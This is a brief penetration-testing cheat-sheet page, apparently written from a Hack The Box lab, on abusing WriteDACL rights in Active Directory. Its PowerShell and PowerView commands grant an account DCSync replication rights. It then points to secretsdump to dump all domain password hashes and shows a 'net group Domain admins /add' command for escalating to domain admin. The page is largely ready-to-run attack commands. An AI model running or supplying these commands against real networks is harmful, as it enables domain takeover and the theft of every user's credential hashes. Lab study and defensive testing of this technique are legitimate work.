# WriteDACL over DCSync

{% embed url="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyTPWZkKJbJfX8uHiRzmn%2Fuploads%2F9wZRro7RFqbTpSH7wy7K%2Fimage.png?alt=media&token=8da8b9bb-ac02-45bf-aeed-dcf807897757" %}

> DCSync is an attack that allows an adversary to simulate the behavior of a domain controller (DC) and retrieve password data via domain replication. The classic use for DCSync is as a precursor to a [Golden Ticket](https://attack.stealthbits.com/how-golden-ticket-attack-works) attack, as it can be used to retrieve the KRBTGT hash.

If our group or user has WriteDacl. We can abuse it by running the following commands. We need valid credentials of an account that has the said privilege.&#x20;

```
$pass= ConvertTo-SecureString '<our-users-password>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAINNAME\<our-user>', $pass)
Add-DomainObjectAcl  -Credential $cred  -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity <our-user> -Rights DCSync
```

Then all we need to do is use secretsdump and we should be able to dump all the hashes.&#x20;

We could also do,&#x20;

```
net group "Domain admins" <user> /add /domain
```
